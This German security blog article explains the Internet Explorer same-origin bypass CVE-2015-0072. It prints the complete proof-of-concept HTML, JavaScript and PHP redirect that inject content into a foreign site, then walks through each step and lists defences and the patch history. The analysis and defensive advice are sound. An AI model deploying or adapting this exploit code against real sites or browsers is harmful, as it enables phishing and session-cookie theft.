Dipl.-Inform. Carsten Eilers

Demonstriert wird die Schwachstelle durch einen Proof-of-Concept, der in einem Fenster mit dailymail.co.uk nach sieben Sekunden den Schriftzug "Hacked by Deusen" einfügt. Das ist ein eindeutiger Verstoß gegen die Same Origin Policy (SOP).

So funktioniert der Angriff

Verantwortlich für den Angriff ist der folgende HTML- und JavaScript-Code auf der PoC-Webseite (neu formatiert, nicht relevante Teile weg gelassen und URL-codierte Zeichen bereits umgewandelt):

<iframe id=i name=i src="1.php"></iframe><br>
<iframe src="http://www.dailymail.co.uk/robots.txt"></iframe><br>
<script>
   function go() {
      w=window.frames[0];
      w.setTimeout("
         alert(
            eval('
               x=top.frames[1];
               r=confirm(\\'Close this window after 3 seconds...\\');
               x.location=\\'javascript:"
                  <script>
                     function a(){
                        w.document.body.innerHTML='<a>Hacked by Deusen</a>';
                     }
                     function o(){
                        w=window.open('http://www.dailymail.co.uk');
                        setTimeout('a()',7000);
                     }
                  </script>
                  <a href='javascript:o();void(0);'>Go</a>
               "\\';
            ')
         )
      ",1);
   }
setTimeout("go()",1000);
</script>

1.php enthält den folgenden Code:

<?php
   sleep(2);
   header("Location: http://www.dailymail.co.uk/robots.txt");
?>

Für die Erklärung soll der erste iframe mit dem PHP-Skript Frame0 heißen, der zweite mit http://www.dailymail.co.uk/robots.txt Frame1. Der Angriff läuft dann folgendermaßen ab:

Schritt 1:

Beim Aufruf von go() ist die Origin (Domain) von Frame0 http://angreifer.example, die Domain des Angreifers. Aufgrund des sleep(2) in 1.php ist die Umleitung zu http://www.dailymail.co.uk/robots.txt noch nicht erfolgt.

Die Origin von Frame1 ist http://www.dailymail.co.uk, die Origin des Hauptframes ist http://angreifer.example.

Der Befehl w=window.frames[0] erzeugt einen ComWindowProxy mit Namen w und Origin http://angreifer.example. Der Aufruf w.setTimeout() ist daher durch die Same Origin Policy erlaubt.

Schritt 2:

w.setTimeout() wird ausgelöst und der enthaltene Code ausgeführt:

• x=top.frames[1] erzeugt einen ComWindowProxy mit Namen x und Origin http://angreifer.example.
• In der von r=confirm() erzeugten Schleife wird der Redirect aktiv und die Origin von Frame0 wird zu der von Frame1 (http://www.dailymail.co.uk).
• Jetzt wird x.location ausgeführt. Eigentlich müssten die beteiligten Origins geprüft, der Verstoß gegen die SOP festgestellt und die Ausführung des folgenden JavaScript-Codes verweigert werden. Diese Prüfung findet aber nicht statt und der JavaScript-Code wird ausgeführt. Und kann dann den Inhalt der fremden Website ändern.

Dieser PoC ist zwar auf eine Benutzeraktion (das Schließen der Alert-Box) angewiesen, so dass ein echter, bösartiger Angriff doch recht auffällig wäre. Diese Benutzeraktion ist aber nicht nötig, der Angriff funktioniert auch ohne.

Die Folgen des Angriffs...

Mit dem Angriff können sogar Standard-HTTP-nach-HTTPS-Einschränkungen umgangen werden. Je nachdem, was in die Seiten eingeschleust wird, kann teilweise auch die Content Security Policy umgangen werden (insbesondere wenn HTML statt JavaScript eingefügt wird).

Prinzipiell sind also alle üblichen XSS-Angriffe möglich: Phishing, Informationen (zum Beispiel Session-Cookies) ausspähen, JavaScript-Schadcode einschleusen, ... . Einige Beispiele für XSS-Angriffe allgemein finden Sie in den entsprechenden Folgen von About Security, zur Zeit leider nur über archive.org zugänglich:

• About Security #14: Cross-Site Scripting
• About Security #15: Cross-Site Scripting verhindern
• About Security #129: Cross-Site Scripting, reloaded
• About Security #130: DOM-basiertes XSS abwehren
• About Security #131: XSS-Angriffe (1)
• About Security #132: XSS-Angriffe (2)
• About Security #133: XSS-Angriffe (3): JavaScript-Ping & Co.
• About Security #134: XSS-Angriffe (4): JavaScript-Portscan
• About Security #135: XSS-Angriffe (5): JavaScript-Portscan vorbereiten
• About Security #136: XSS-Angriffe (6): DSL-Router ausspähen
• About Security #137: XSS-Angriffe (7): Weitere Ziele

... und wie man die Angriffe verhindert

Der als PoC demonstrierte Angriff funktioniert nur, wenn die angegriffene Webseite in einem Frame eingebettet werden kann. Seiten, die durch einen X-FRAME-OPTIONS-HTTP-Header mit Wert deny oder same-origin vor dem Einbetten geschützt sind, können daher nicht in vollem Umfang angegriffen werden.

Das Ausspähen von Session-Cookies ist aber trotz X-FRAME-OPTIONS-Header mit passender Einstellung möglich. Session-Cookies müssen daher mit dem HttpOnly-Flag geschützt werden (was eigentlich selbstverständlich sein sollte).

Zusammengefasst ergibt das folgende Gegenmaßnahmen:

1. Verwenden Sie einen X-FRAME-OPTIONS-HTTP-Header mit Wert deny oder same-origin, um Manipulationen der aufgerufenen Seite zu verhindern.
2. Setzen Sie für alle Cookies, zumindest aber für Session-Cookies, dass HttpOnly-Flag, um deren Ausspähen zu verhindern.
3. Implementieren Sie die üblichen Schutzmaßnahmen vor Session Hijacking (wenn nicht bereits geschehen, Session Hijacking ist ja nun wirklich kein neues Problem):
   • Kurzes Timeout für Sessions
   • Beenden der Session (Ausloggen des Benutzers) bei Änderung von IP-Adresse oder User Agent während der laufenden Session

Microsoft ist informiert (SCNR)

Die Schwachstelle wurde zwar am 31. Januar als 0-Day veröffentlicht, Microsoft wurde aber bereits am 13. Oktober 2014 informiert. Die Veröffentlichung erfolgt also wohl mal wieder, weil Microsoft zu langsam war. Über die Hintergründe ist aber nichts bekannt.

Microsoft sieht das Ganze aber recht gelassen, da es ja noch keine Angriffe gibt und der Angreifer sein Opfer erst auf seine Seite locken müsste. Also als ob DAS nun ein größeres Problem wäre. Und dann wieder der Rat, "untrusted" Websites zu meiden. Ja, wenn das denn so einfach wäre - zumindest die Phisher sorgen meist schon dafür, dass ihre Seiten vertrauenswürdig aussehen. Und in Zeiten von URL-Verkürzern sieht man einem Link ja sowieso nicht mehr unbedingt an, wohin er letztendlich führt.

Man soll ja niemanden etwas Schlechtes wünschen, aber manche werden wohl nur aus Schaden klug. Microsoft also wohl erst, wenn die halbe Führungsetage abgephisht und eine größere Zahl Rechner über Drive-by-Infektionen auf harmlosen Websites mit Schadsoftware infiziert wurde,

Die CVE-ID der Schwachstelle ist CVE-2015-0072, einen Patch gibt es bisher nicht.

Update 10.3.2015:
Microsoft hat die Schwachstelle am März-Patchday behoben, zuständig ist das Security Bulletin MS15-018, "Cumulative Security Update for Internet Explorer (3032359)".
Laut dem Security Bulletin wird die Schwachstelle bereits für Angriffe ausgenutzt.
Ende des Updates

Carsten Eilers